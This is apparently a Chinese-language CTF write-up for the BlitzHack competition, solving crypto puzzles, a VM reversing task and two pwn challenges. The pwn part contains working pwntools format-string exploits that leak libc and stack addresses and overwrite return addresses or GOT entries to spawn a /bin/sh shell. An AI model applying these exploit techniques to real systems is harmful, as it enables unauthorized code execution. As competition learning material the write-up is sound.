最近比较懒,这个比赛感觉还可以作,本来密码已经AK了,后来又加了俩题,结果不会了。后来补了个pwn,其它的都感觉太难了,不过也都不是0解。不知道过些天会不会有WP可以看。
Crypto
Broken encoding or what?
给了一个串: Voubz[mabmy_lr_ut_jpf_mak_qdrwbj_euhs]
显然就是有个啥对应关系,用quip可以出来大概,要精确有需要对应一下,查了下应该是Workman键盘到Qwerty键盘
结果:Blitz{catch_me_if_you_can_qwerty_kids}
Custom RSA
from Cryptodome.Util.number import getPrime, bytes_to_long
m = b"Blitz{REDACTED}"
p = getPrime(256)
q = getPrime(256)
x = getPrime(128)
y = getPrime(128)
z = getPrime(128)
e = x*y*z
n = p*q*y
hint1 = p % x
hint2 = p % z
print("hint1 = ", hint1)
print("hint2 = ", hint2)
print("n = ", n)
print("e = ", e)
c = pow(bytes_to_long(m), e, n)
print("c = ", c)
##################################################
hint1 = 154888122383146971967744398191123189212
hint2 = 130654136341446094800376989317102537325
n = 1291778230841963634710522186531131140292748304311790700929719174642140386189828346122801056721461179519840234314280632436994655344881023892312594913853574461748121277453328656446109784054563731
e = 9397905637403387422411461938505089525132522490010480161341814566119369497062528168320590767152928258571447916140517
c = 482782367816881259357312883356702175242817718119063880833819462767226937212873552015335218158868462980872863563953024168114906381978834311555560455076311389674805493391941801398577027462103318
##################################################
给了p%x和 p%z,显然中中国剩余定理,不过这个p比x*z略大,需要再加一次模
y = gcd(e,n)
e1 = e//y
#分解e1
x = 205985756524450894105569840071389752521
z = 212007435030018912792096086712981924541
tp = crt([hint1,hint2],[x,z])
p = tp+x*z
q = n//y//p
m = pow(c, invert(e,(p-1)*(q-1)*(y-1)),n)
long_to_bytes(int(m))
#Blitz{H0w_D4r3_y0u_br34k_My_RSA_Ag41n!!!}
Randomized Chaos
import random
flag = b"Blitz{REDACTED}"
def complex_encrypt(flag_bytes, key_bytes):
result = bytearray()
for i in range(len(flag_bytes)):
k = key_bytes[i] % 256
f = flag_bytes[i]
r = ((f ^ k) & ((~k | f) & 0xFF))
r = ((r << (k % 8)) | (r >> (8 - (k % 8)))) & 0xFF
result.append(r)
return result
with open("output.txt", "w") as f:
for _ in range(624 * 10):
key = [random.getrandbits(32) for _ in range(len(flag))]
ct = complex_encrypt(flag, key)
f.write(ct.hex() + '\n')
刚一看以为是随机数题,但看下加密方法第1步会将明文的一部分位去掉,第2步作了个循环移位。所以多个key会出来同一个结果,所以无法逆出原来的key,但有一个共同特点,在结果中最多2进制1的那个循环移下位后一定能得到原文。
于是把所有可能的情况列出来:
#利用第1个字符求key的低8位
data = [{} for i in range(37)]
with open("output.txt") as f:
for _ in range(624 * 10):
v = bytes.fromhex(f.readline())
for i in range(37):
for k in range(8):
r = ((v[i] << (k % 8)) | (v[i] >> (8 - (k % 8)))) & 0xFF
if 0x20<=r<0x7f:
if r not in data[i]:
data[i][r]=bin(r)[2:].count('1')
#保留1数最大的
d2 = []
for i in data:
d = ''
k = 0
for j in i:
if i[j]>k:
k = i[j]
for j in i:
if i[j]==k:
d +=chr(j)
d2.append(d)
#['H!B$', 'lc6', 'iK-Z', 'G:t', 'O=z', '{o', 'RI%J)', ',Xa', "N9r'", 'D"', '0`', 'k[m', '_}', 'iK-Z', 'E*TQ', 'Ye+V', '_}', 'G:t', '*TQE', "9r'N", 'e+VY', 'I%J)R', ',Xa', 'G:t', '+VYe', 'D"', '_}', 'B$H!', 'y/^', '_}', 'K-Zi', 'w', 'iK-Z', 'q.\\', 'W]u', '+VYe', '_}']
然后从里边手工选出来最合适的词意。最后这个单词是出题人的呢称,题目上有。前边是单词。
Blitz{RaND0m_KEY_GENeRateD_By_Zwique}
Lightning Strike_ZZZ
又是一个猜的题,后边还有很长略掉。根据位数猜是7位ascii码,大写是1小写是0
B
l
i
t
z
Z
z
B
L
i
T
Z
z
z
B
L
i
T
z
z
Z
B
a = open('c4_Lightning Strike_ZZZ.txt').readlines()
a =[i.strip() for i in a]
b = ''.join(['0' if i.islower() else '1' for i in a])
bytes([int(b[i:i+7],2) for i in range(0,len(b),7)])
#Blitz{17_h4pp3n5_50_f4s7_ZZZ}
Custom RSA2
from Cryptodome.Util.number import long_to_bytes, getPrime, bytes_to_long
m = b"Blitz{REDACTED}"
p = getPrime(150)
q = getPrime(150)
e = getPrime(128)
n = p*q
mod_phi = (p-1)*(q-1)*(e-1)
d = pow(e, -1, mod_phi)
print(mod_phi)
print(n)
c = pow(bytes_to_long(m), e, n)
print(c)
#################################
mod_phi = 381679521901481226602014060495892168161810654344421566396411258375972593287031851626446898065545609421743932153327689119440405912
n = 1236102848705753437579242450812782858653671889829265508760569425093229541662967763302228061
c = 337624956533508120294617117960499986227311117648449203609049153277315646351029821010820258
#################################
这里给了个mod_phi,其实这个数跟n*e差不多大,相除得到的数会比e略小,而e又是质数,可以爆破(其实就是下一个)
te = mod_phi//n
e = next_prime(te)
#308776508606152118670230312260475727067
phi = mod_phi//(e-1)
#mod_phi%(e-1) == 0
d = invert(e,phi)
m = pow(c,d,n)
long_to_bytes(m)
#Blitz{Cust0m_RSA_OMGGG}
Fiboz-cryption
import sys
def x7a3(n):
s = 0
while n != 1:
n = n // 2 if n % 2 == 0 else 3 * n + 1
s += 1
return s
def y4f2(l, a=1, b=1):
r = [a, b]
for _ in range(l - 2):
r.append(r[-1] + r[-2])
return r
def z9k1(s, k):
return bytes(ord(c) ^ (k[i % len(k)] % 256) for i, c in enumerate(s))
def z9k1(s, k):
return bytes(c ^ (k[i % len(k)] % 256) for i, c in enumerate(s))
def main():
print("Challenge ready!")
try:
l = int(input("Enter length: "))
a = int(input("First seed [1]: ") or 1)
b = int(input("Second seed [1]: ") or 1)
except:
print("Error")
sys.exit(1)
f = y4f2(l, a, b) #生成一个菲波那些数列
c = [x7a3(n) for n in f]
t = input("\nInput text: ")
if not t:
t = "flag{example_flag}"
e = z9k1(t, c)
with open('output.enc', 'wb') as file:
file.write(e)
print("Output written to output.enc (hex format)")
if __name__ == "__main__":
main()
加密序列来看斐波那契数列,但显然不是从头开始的,先用已经的flag头取出序列,再从序列里对一下,发现是从第25项开始的。
f = y4f2(1000)
v2 = [x7a3(n) for n in f]
#通过flag头比较,确定队伍从25开始
#[0, 0, 1, 7, 5, 3, 9, 7, 13, 112, 30, 23, 83, 63, 38, 36, 122, 102, 33, 137, 161, 79, 103, 145, 112, 180, 129, 246, 102, 131, 186, 135, 128, 245...
#[i for i in xor(b'Blitz{', c[:6]]
#[180, 129, 246, 102, 131, 186]
v2 = v2[25:]
z9k1(c, v2)
#Blitz{So_You_Have_Studied_Fibonacci_And_Collatz_Conjecture_Now?}
*Maffs
给了33个文件,每个文件左边是间隔10/9的数,右边前边一部分是对称的,想不出怎么个用法
-5.00000 827.00000
-3.88889 501.07407
-2.77778 256.62963
-1.66667 93.66667
-0.55556 12.18519
0.55556 12.18519
1.66667 93.66667
2.77778 256.62963
3.88889 501.07407
5.00000 827.00000
-5.00000 2816.50000
-3.88889 1033.23525
-2.77778 271.91838
-1.66667 38.72222
-0.55556 4.42867
0.55556 4.42867
1.66667 38.72222
2.77778 271.91838
3.88889 1033.23525
5.00000 2816.50000
-5.00000 1314.50000
-3.88889 795.98148
-2.77778 407.09259
-1.66667 147.83333
-0.55556 18.20370
0.55556 18.20370
1.66667 147.83333
2.77778 407.09259
3.88889 795.98148
5.00000 1314.50000
*The Weakest Link
这个题原来也见过,基本是0解题,根据一些提示猜密码,给了密码的hash值。第1个sha1的容易爆破,第2个md5也可以爆破,第3个linux密码也可以,第4个sha256似乎也可能,但题目出如果只是爆破就没意思了。而且前边两个可以查,感觉是cmd5.com的托。
the guys's name is 'Rahul Sharma' he was born in 6 of juin 1998.
his girlfriend's name is 'Neha'.
his pet's name is chinto.
flag format: blitz{phonepassword_computerpassword_instagrampassword_blockchainwallet}
#only special characters should be added.
#salt=BlitzHack
phone password: 4 caracters [0:9] 549dbec0f9f9221da78effc4add0f7baee3cc5ea
computer password: 10 caracters [0:9a:z] 8273CFBC62BAF929392E5882ED35DA25
instagram password: 6 caracters[0:9a:zA:Z]+salt $2a$12$qvZqHb19wpc.Cee.UghEE.oCkOM3fw4JS7dJttJp2RkC2RMomnRqW
blockchain wallet password:salt+7 caracters[0:9a:zA:Z$@] c53120130d9cf35015deec2e6452c791d29d3556cfd01a2e543165aca00e2192
PWN
printf
只作了两个格式化字符串的题,感觉比较简单,其它的无法入门或都没看。
在printf后跟着exit,没有循环。所以这里要修改printf的返回地址。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-214h] BYREF
char buf[520]; // [rsp+10h] [rbp-210h] BYREF
unsigned __int64 v5; // [rsp+218h] [rbp-8h]
v5 = __readfsqword(0x28u);
v3 = 1;
memset(buf, 0, 0x200uLL);
puts("Easy peasy printf, don't you think?");
printf("I feel generous so have this: %p\n", &v3);
puts("Show me what you've got!");
printf("> ");
read(0, buf, 0x200uLL);
puts("Here we go!!");
printf(buf);
exit(0);
}
第1步是把printf的返回地址尾字节改为0x9c重入并泄露栈地址和libc
第2步就在返回在址定gadged这里用的是add rsp,0x40,然后在0x40处写上system(bin/sh),中间这0x40的空间里写printf的payload,地址写最后边。
这里有个小坑,题目给了个24.04,给的libc是2.39但实际上用的是2.35-0ubuntu3.6_amd64
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6') #给的libc不正确,应该是 2.35-0ubuntu3.6_amd64
#p = process('./printf')
#gdb.attach(p, "b*0x5555555552d8\nc")
p = remote('pwn.blitzhack.xyz', 4646)
#stack
p.recvuntil(b"this: ")
stack = int(p.recvline(), 16) - 0xc - 8 #printf ret
print(f"{stack = :x}")
'''
pwndbg> tel 200
00:0000│ rsp 0x7fffffffd8f0 —▸ 0x7ffff7fc3228 ◂— add byte ptr ss:[rax], al /* '6' */
01:0008│-218 0x7fffffffd8f8 ◂— 0x100000000
02:0010│-210 0x7fffffffd900 ◂— 0xa7024353725 /* '%75$p\n' */
03:0018│-208 0x7fffffffd908 ◂— 0
... ↓ 62 skipped
42:0210│-010 0x7fffffffdb00 —▸ 0x7fffffffdb30 ◂— 0x1ffffdb50
43:0218│-008 0x7fffffffdb08 ◂— 0x2d843ad53284b600
44:0220│ rbp 0x7fffffffdb10 —▸ 0x7fffffffdbb0 —▸ 0x7fffffffdc10 ◂— 0
45:0228│+008 0x7fffffffdb18 —▸ 0x7ffff7c2a1ca ◂— mov edi, eax
46:0230│+010 0x7fffffffdb20 ◂— 0
47:0238│+018 0x7fffffffdb28 —▸ 0x7fffffffdc38 —▸ 0x7fffffffdff7 ◂— '/home/kali/ctf/2507/blitz/p3_Printf/printf'
48:0240│+020 0x7fffffffdb30 ◂— 0x1ffffdb50
49:0248│+028 0x7fffffffdb38 —▸ 0x555555555211 (main) ◂— push rbp
'''
'''
6 rsp
8 buf
14 system(bin/sh)
18 addr1,
'''
#0x00005555555552dd -> 9c
#p.sendafter(b'> ', b"%73$p,%74$p,%75$p")
p.sendafter(b'> ', b'%136c%11$hhn,%75$p '.ljust(0x18,b' ')+p64(stack))
p.recvuntil(b',')
libc.address = int(p.recvuntil(b' '),16) - 0x29d90 #0x2a1ca
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
add_rsp40 = libc.address + 0x0000000000129c1b # add rsp, 0x40 ; ret
v1 = add_rsp40&0xffff
v2 = ((add_rsp40>>16)-v1)&0xffff
v3 = ((add_rsp40>>32)-v2-v1)&0xffff
#将printf返回地址写为add rsp,0x40 ,printf返回后rsp+0x40跳到偏移14处的pop_rdi,bin/sh,system
#前边空间小,将地址写到payload后
pay = f"%{v1}c%18$hn%{v2}c%19$hn%{v3}c%20$hn".ljust(0x30,' ').encode() + flat(pop_rdi,next(libc.search(b'/bin/sh\0')), libc.sym['system'],0) + flat(stack,stack+2,stack+4)
p.sendafter(b'> ', pay)
p.interactive()
printf2
这个没有试远程,估计还是libc给的不对。不过不重要。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[2]; // [rsp+8h] [rbp-228h] BYREF
__int64 buf[68]; // [rsp+10h] [rbp-220h] BYREF
buf[67] = __readfsqword(0x28u);
memset(buf, 0, 0x210uLL);
buf[64] = 1LL;
buf[65] = (__int64)&buf[64];
v4[1] = 0;
v4[0] = 0;
puts("Easy peasy printf, don't you think?");
printf("I feel generous so have this: %p\n", main);
putchar(62);
__isoc99_scanf("%u", v4);
if ( v4[0] > 0x20u )
{
printf("not this again :)");
exit(0);
}
buf[65] += (unsigned int)v4[0];
puts("Show me what you've got!");
printf("> ");
read(0, buf, 0x200uLL);
puts("Here we go!!");
printf((const char *)buf);
return 0;
}
这个没有给栈地址,唯一给的偏移也不够写到上下的ret,但可以写到canary,所以这个就是:
1,写canary错,写got.stack_chk_fail这main并同时泄露地址
2,写canary错,写got.printf为system
3,输入/bin/sh
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./printf2')
libc = ELF('./libc.so.6')
p = process('./printf2')
#gdb.attach(p, "b*0x555555555398\nc")
'''
43:0218│-018 0x7fffffffc708 —▸ 0x7fffffffc720 —▸ 0x7fffffffc7c0 —▸ 0x7fffffffc820 ◂— 0
44:0220│-010 0x7fffffffc710 —▸ 0x7fffffffc740 ◂— 0x1ffffc760
45:0228│-008 0x7fffffffc718 ◂— 0xedfc6e04b7893e00
46:0230│ rbp 0x7fffffffc720 —▸ 0x7fffffffc7c0 —▸ 0x7fffffffc820 ◂— 0
47:0238│+008 0x7fffffffc728 —▸ 0x7ffff7c2a1ca ◂— mov edi, eax
'''
p.recvuntil(b"this: ")
elf.address = int(p.recvline(), 16) - 0x1231
print(f"{elf.address = :x}")
p.sendlineafter(b'>', b'24') #buf[65]->canary
#canary->0, got[__stack_chk_fail]->main
pay = b'%73$n%73$p %77$p 1234567'+fmtstr_payload(11, {elf.got['__stack_chk_fail']: elf.sym['main']}, numbwritten=37)
p.sendlineafter(b'> ', pay)
p.recvline()
stack = int(p.recvuntil(b' '), 16) - 0x10 #&buf[65]
libc.address = int(p.recvuntil(b' '), 16) - 0x2a1ca
print(f"{stack = :x} {libc.address = :x}")
p.sendlineafter(b'>', b'24') #buf[65]->canary
#canary->0, got['printf']->system
pay = b'%73$n%73$p %77$p 1234567'+fmtstr_payload(11, {elf.got['printf']: libc.sym['system']}, numbwritten=37)
p.sendlineafter(b'> ', pay)
p.sendline(b'24')
p.sendline(b'/bin/sh\0')
p.interactive()
Reverse
C++ plain
也是猜的题,给了个VM,看了下指令长是固定3,但只有1个命令符和1个数据,在初始华时放了个-10,看代码bin文件,显然只用到0,2没任何意义。而第3字节与flag头差10,果然一猜就对了
v = open('bytecode.bin','rb').read()
bytes([v[i+2]-10 for i in range(0,0x60,3)])
#b'BlitzHack{vm_vm_vm_is_fun_right}'